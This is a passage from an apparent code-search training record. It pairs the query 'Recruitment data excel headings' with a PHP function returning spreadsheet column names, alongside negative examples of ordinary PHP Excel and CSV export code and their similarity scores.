Vietnamese</a></li>\n</ul>\n</div-->\n\n<!-- user dropdown starts -->\n<div class=\"btn-group pull-right\">\n <a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-orange .icon-user \" class=\"icon icon-orange icon-user\"></span>\n <span class=\"hidden-phone\"> {$name_header}</span>\n\t<span class=\"caret\"></span>\n </a>\n <ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/user/profile\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Profile</a></li>\n <li><a href=\"{$this->baseurl}/user/changepw\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Change Password</a></li>\n <li class=\"divider\"></li>\n\t<li><a href=\"{$this->baseurl}/user/logout\">Logout</a></li>\n </ul>\n</div>\n<!-- user dropdown ends -->\nEND;\n $auditinfo = '';\n //if ($this->dialog_name == 'audit/edit') {\n $auditinfo = \"<div style=\\\"margin:6px 0 6px 20px;padding-right:5px;\\\">Selected Audit: {$this->showaudit}</div>\";\n //}\n $this->header .= <<<\"END\"\n<div style=\"display:inline-block;\">\n <div style=\"margin:6px 0px 6px 20px;padding-right:5px;\">Selected Lab: {$this->showlab}</div>\n {$auditinfo}\n <div style=\"clear:both;\"></div></div>\nEND;\n } else {\n $this->header = $this->header . <<<\"END\"\n<div class=\"btn-group pull-left\" style=\"margin-left:100px;\">\n<a class=\"btn\" href=\"{$this->baseurl}/user/login\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Login</a></div>\nEND;\n }\n $this->header = $this->header . <<<\"END\"\n </div>\n </div> <!-- style=\"clear:both;\"></div -->\n</div>\nEND;\n\n $this->view->header = $this->header;\n }", "function export_finance_canceled_angsuran()\n\t{\n\t\t$angsuran_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_angsuran_canceled($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Dibatalkan\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"No. Pembiayaan\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['account_financing_no']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN DIBATALKAN.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "function export($config, $view) {\n\t\t$objPHPExcel = new PHPExcel();\n\t\t$objPHPExcel->getProperties()->setCreator('HITS Soluciones Informáticas');\n\t\t$objPHPExcel->getActiveSheetIndex(0);\n\t\t$objPHPExcel->getActiveSheet()->setTitle($config['title']);//Titulo como variable\n\t\t$column = 0;\n\t\t$row = 1;\n\t\tif($config['header']) {\n\t\t\tforeach ($config['header'] as $header) {\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($column, $row, $header);\n\t\t\t\t$column++;\n\t\t\t}\n\t\t\t$column = 0;\n\t\t\t$row++;\n\t\t}\n\t\tforeach ($view as $record) {\n\t\t\tforeach ($record as $value) {\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($column, $row, $value);\n\t\t\t\t$column++;\n\t\t\t}\n\t\t\t$column = 0;\n\t\t\t$row++;\n\t\t}\n\t\tfor ($i = 'A'; $i <= 'Z'; $i++){\n\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($i)->setAutoSize(true); \n\t\t}\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"'.$config['title'].'.xlsx');\n\t\theader('Cache-Control: max-age=0');\n\t\t$objWriter->save('php://output');\n\t}", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "public function exportToxls(){\n\t\t//echo \"exportToxls\";exit;\t\t\n\t\t$tskstatus = ManageTaskStatus::select('id as Sr.No.', 'status_name')->where('deleted_status', '=', 0)->get(); \t\t\n\t\t$getCount = $tskstatus->count(); \n\n if ($getCount < 1) { \n\t\t\t return false;\t\t\t \n } else {\n\t\t\t//export to excel\n\t\t\tExcel::create('Status Data', function($excel) use($tskstatus){\n\t\t\t\t$excel->sheet('Status', function($sheet) use($tskstatus){\n\t\t\t\t\t$sheet->fromArray($tskstatus);\n\t\t\t\t});\n\t\t\t})->export('xlsx');\t\t\t\t\n\t\t}\t\t\t\t\n\t}", "public function getHeading(): string;", "abstract protected function getRowsHeader(): array;", "function adleex_resource_list_column_header( $cols ) {\nglobal $current_screen;\n\n\tif ($current_screen->post_type!='resource') return $cols;\n\n\tunset($cols['date']);\n\t$header = array(\n 'post_title' => 'title', );\n\tforeach($header\tas $k => $v) $cols[$k]=$v;\n\treturn $cols;\n}", "public function downloadXlsFile(Request $request) {\n //getting data\n $id = $request->id;\n $type = $request->type;\n $claim_no = $request->claim_no;\n $state = $request->state;\n $policy_no = $request->policy_no;\n $information = $request->information;\n\n if($type == 'xact') {\n $path = public_path('sample_file/test.xls');\n $labels = Label::where('user_id', $id)->get();\n if ($labels->isEmpty()) {\n $request->session()->flash('error', 'Record not found.');\n return redirect()->back();\n }\n $user = User::where('id', $id)->first();\n $user_name = $user->full_name; //setting file name\n $file_name = $user_name . '_ClaimedContent' . time();\n ///getting or loading template in which we want to put data\n $spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($path);\n $worksheet = $spreadsheet->getActiveSheet();\n $worksheet->setCellValue('E2', $user_name);\n $worksheet->setCellValue('H2', $claim_no);\n $worksheet->setCellValue('H3', $policy_no);\n $worksheet->setCellValue('K3', $state);\n $worksheet->setCellValue('D4', $information);\n\n $counter = 9;\n foreach ($labels as $label) {\n //specifying cells for putting data in them\n $worksheet->setCellValue('B' . $counter . '', $label->room_name);\n $worksheet->setCellValue('C' . $counter . '', $label->brand);\n $worksheet->setCellValue('D' . $counter . '', $label->model);\n $worksheet->setCellValue('E' . $counter . '', $label->item_name);\n $worksheet->setCellValue('F' . $counter . '', $label->quantity);\n $worksheet->setCellValue('G' . $counter . '', $label->age_in_years);\n $worksheet->setCellValue('H' . $counter . '', $label->age_in_months);\n $worksheet->setCellValue('J' . $counter . '', $label->cost_to_replace);\n $counter++;\n }\n $writer = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createWriter($spreadsheet, 'Xls');\n //setting headers to save file in our downloads directory\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"' . $file_name . '.xls\"');\n header(\"Content-Transfer-Encoding: binary\");\n $writer->save(\"php://output\");\n ////end code for getting xls/csv template and append data from database in it/////\n return redirect()->back();\n } else if ($type == 'simsol') {\n \n// $result = Photo::with('getLabel.getRoom', 'getItems')->where('user_id', $id)->get();\n $result = Label::where('user_id', $id)->get();\n// dd($result);\n if($result->isEmpty()){\n $request->session()->flash('error', 'No Record Found.');\n return redirect()->back();\n }\n $unique_name = time();\n $headers = array(\n \"Content-type\" => \"text/csv\",\n \"Content-Disposition\" => \"attachment; filename=\" . $unique_name . \"_items.csv\",\n \"Pragma\" => \"no-cache\",\n \"Cache-Control\" => \"must-revalidate, post-check=0, pre-check=0\",\n \"Expires\" => \"0\"\n );\n $columns = array('Item#', 'Room', 'Brand Or Manufacturer ', 'Model#', 'Serial Number', 'Quantity Lost', 'Item Age (Years)', 'Item Age (Month)', 'Cost to Replace Pre-Tax (each)', 'Total Cost');\n\n $callback = function() use ($result, $columns) {\n $file = fopen('php://output', 'w');\n fputcsv($file, $columns);\n $count = 1;\n foreach ($result as $labels) {\n $columns_data = array();\n $columns_data[] = $count;\n $columns_data[] = $labels->room_name;\n $columns_data[] = $labels->brand;\n $columns_data[] = $labels->model;\n $columns_data[] = $labels->serial_no;\n $columns_data[] = $labels->quantity;\n $columns_data[] = $labels->age_in_years;\n $columns_data[] = $labels->age_in_months;\n $columns_data[] = $labels->cost_to_replace;\n $total = ($labels->quantity * $labels->cost_to_replace);\n $columns_data[] = round($total, 2);\n $count++;\n fputcsv($file, $columns_data);\n }\n fclose($file);\n };\n return Response::stream($callback, 200, $headers);\n }\n else if($type == 'photo'){\n $data['contents'] = Photo::with('getLabel')->with('getGroup.getGroupLabel')->where('user_id', $id)->where('is_labeled', 1)->get();\n// dd($data);\n $pdf = PDF::loadView('admin.pdf', $data);\n return $pdf->stream('document.pdf');\n $request->session()->flash('success', 'PDF created.');\n return redirect()->back();\n } else{\n $request->session()->flash('error', 'Please Select Download Type,In Which Format You Want to Download the File.');\n return redirect()->back();\n }\n }", "function renderXLS($rows,$headers,$filename) {\n $data = $this->dumpXLS($rows,$headers);\n header(\"Expires: 0\");\n header(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n header('Content-Type: application/xls');\n header(\"Content-Disposition: attachment;filename=\".$filename);\n header(\"Content-Transfer-Encoding: binary\");\n echo $data;\n exit();\n }" ]
[ "0.6873492", "0.65734285", "0.6550836", "0.6402856", "0.63890123", "0.63665915", "0.62771773", "0.6258984", "0.6228094", "0.6173512", "0.6097304", "0.60552883", "0.60393447", "0.5974607", "0.5967423", "0.5921346", "0.58865416", "0.5845485", "0.58372784", "0.5817534", "0.58103645", "0.5808994", "0.57952356", "0.579", "0.5737807", "0.57304764", "0.57206947", "0.5719401", "0.56848407", "0.5679123", "0.5677931", "0.5658312", "0.56357145", "0.5616351", "0.5616116", "0.55976653", "0.5597234", "0.5585446", "0.55752057", "0.5536873", "0.55165786", "0.5509046", "0.5508106", "0.54978925", "0.54921305", "0.54867965", "0.5478291", "0.54774874", "0.54760236", "0.5472555", "0.545951", "0.54584444", "0.5456153", "0.5452503", "0.54198337", "0.54035354", "0.53881997", "0.5383878", "0.5373234", "0.53492725", "0.5349172", "0.53469133", "0.5342093", "0.53392357", "0.53359205", "0.53315246", "0.5324254", "0.5314809", "0.5307734", "0.53030133", "0.5298115", "0.5292132", "0.52898145", "0.528979", "0.52871436", "0.52750874", "0.52749604", "0.5274333", "0.52623963", "0.5257491", "0.5244836", "0.5242358", "0.5240496", "0.52351505", "0.5234919", "0.52328295", "0.5231942", "0.52238214", "0.52232116", "0.5217418", "0.52155876", "0.5213076", "0.52120745", "0.51982784", "0.5195918", "0.5192809", "0.5183893", "0.51826596", "0.51800984", "0.5179461" ]
0.7762238
0
Recruitment data excel headings
public static function excelRecruitmentHeadings() { return [ 'Occupation/Job Title', 'Region', 'Industry', 'Type', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 